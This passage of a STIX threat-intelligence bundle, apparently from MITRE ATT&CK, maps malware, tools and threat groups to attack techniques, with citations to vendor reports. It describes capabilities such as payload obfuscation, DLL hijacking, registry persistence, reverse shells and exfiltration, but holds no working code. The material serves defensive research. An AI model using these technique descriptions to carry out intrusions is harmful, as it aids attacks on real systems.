"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is launched through use of DLL search order hijacking to load a malicious dll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can take a screenshot of the desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.175Z", + "id": "relationship--3d1fe308-5bef-4e7a-9daa-333680a11d7b", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can delete files to cover tracks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.689Z", + "id": "relationship--9669920d-eff9-4436-9357-409eb7db002c", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses Python code to deobfuscate base64-encoded strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.394Z", + "id": "relationship--347ee2ed-7def-45ac-9935-063a679859ae", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used NTFS alternate data stream to hide their payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.592Z", + "id": "relationship--1eeb08cb-8b06-45a7-bf74-fb8bdaa4b02f", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.867Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used legitimate credentials to hijack email communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.564Z", + "id": "relationship--073fd81c-b49a-4800-b73a-c1b3aba3aa54", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.238Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--02f8d760-bb70-4f07-b078-0eb8579671cb", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) malware contains a secondary fallback command and control server that is contacted after the primary command and control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--39e6a7c0-5eb8-49fe-aec7-9ae9fe70723a", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.816Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "Before writing to disk, [Kwampirs](https://attack.mitre.org/software/S0236) inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--97d77da2-9e26-4168-b14c-9d26093aa5be", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4e95e37e-76a0-498e-b46e-73a4fb639d3a", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--819a5c4e-2bd6-4d9b-844c-21dc31e85a67", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[yty](https://attack.mitre.org/software/S0248) contains several references to football (including \"football,\" \"score,\" \"ball,\" and \"loose\") in a likely attempt to disguise its traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--558a8ea0-4c9d-400e-84e2-1e46f9a98b12", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.131Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) exfiltrates files over FTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed2c177c-18fc-4bfd-9169-48af1557a542", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "source_name": "Trustwave Cherry Picker", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use SSL and TLS for communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d9b7596b-185a-4a2f-8559-6b9349f4c9b9", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aaa2f519-62f6-4dcb-8193-6ed33b8ff4ab", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can use ports 443, 8443, and 8080 for communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a5263d1b-fe47-42bb-90ab-ae9fbcfe5f67", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses ports 80, 443, and 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--09e8b282-61ee-4107-94f5-d03e28199fe9", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) uses port 80 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b21c0340-47aa-4eca-86f2-015060744138", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use Mshta.exe to execute additional payloads on compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3cd0e385-3c60-4742-b3a6-c07dbf10ba45", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to obtain screenshots of the compromised system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516", + "source_ref": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "modified": "2019-07-25T11:38:29.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can record sound with the microphone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--49f3c807-a801-4cfe-ad1c-6966bea2fc8a", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.819Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e11d4f32-842a-4684-8974-f368e52b8632", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform audio capture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2c219416-4576-4215-80ac-1aebfadefd8b", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) obfuscated several scriptlets and code used on the victim\u2019s machine, including through use of XOR and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1010f466-818d-4387-9e43-9ae5e9bf9a40", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.731Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by setting the value \u201cShell\u201d with \u201cexplorer.exe, %malware_pathfile%\u201d under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3c52b081-7521-4b73-8603-e6d05496db0c", + "source_ref": 